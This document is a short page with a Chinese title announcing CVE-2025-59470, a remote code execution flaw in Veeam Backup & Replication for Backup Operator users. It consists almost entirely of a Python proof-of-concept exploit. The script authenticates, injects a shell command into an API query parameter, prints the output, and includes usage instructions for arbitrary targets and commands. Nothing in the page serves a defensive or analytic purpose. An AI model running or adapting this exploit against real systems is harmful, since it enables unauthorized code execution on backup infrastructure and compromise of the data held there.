CVE-2025-59470: Veeam Backup & Replication Backup Operator远程代码执行漏洞

# CVE-2025-59470 PoC - Veeam Backup & Replication RCE as postgres user # Requires Backup Operator authentication credentials import requests import json import sys TARGET_URL = "https://<target-ip>:9443" CVE_ID = "CVE-2025-59470" def exploit_rce(target_url, username, password, cmd): """ Exploit CVE-2025-59470 to achieve RCE as postgres user by sending malicious interval or order parameter """ # Authentication endpoint auth_url = f"{target_url}/api/sessionMngr/login" auth_data = { "username": username, "password": password } try: # Step 1: Authenticate as Backup Operator session = requests.Session() auth_response = session.post(auth_url, json=auth_data, verify=False, timeout=30) if auth_response.status_code != 200: print(f"[-] Authentication failed: {auth_response.status_code}") return False print(f"[+] Successfully authenticated as {username}") # Step 2: Send malicious parameter to trigger RCE # The malicious interval or order parameter contains command injection payload exploit_url = f"{target_url}/api/backupJobs/Query" # Prepare malicious payload - command injection via interval parameter payload = { "interval": f"; {cmd};", "order": "asc" } exploit_response = session.get(exploit_url, params=payload, verify=False, timeout=30) if exploit_response.status_code == 200: print(f"[+] RCE executed successfully as postgres user") print(f"[+] Command output: {exploit_response.text}") return True else: print(f"[-] Exploitation failed: {exploit_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {CVE_ID}_exploit.py <target_url> <username> <password> <command>") print(f"Example: python {CVE_ID}_exploit.py https://192.168.1.100:9443 admin password 'whoami'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] cmd = sys.argv[4] print(f"[*] Exploiting {CVE_ID} on {target}") exploit_rce(target, user, pwd, cmd)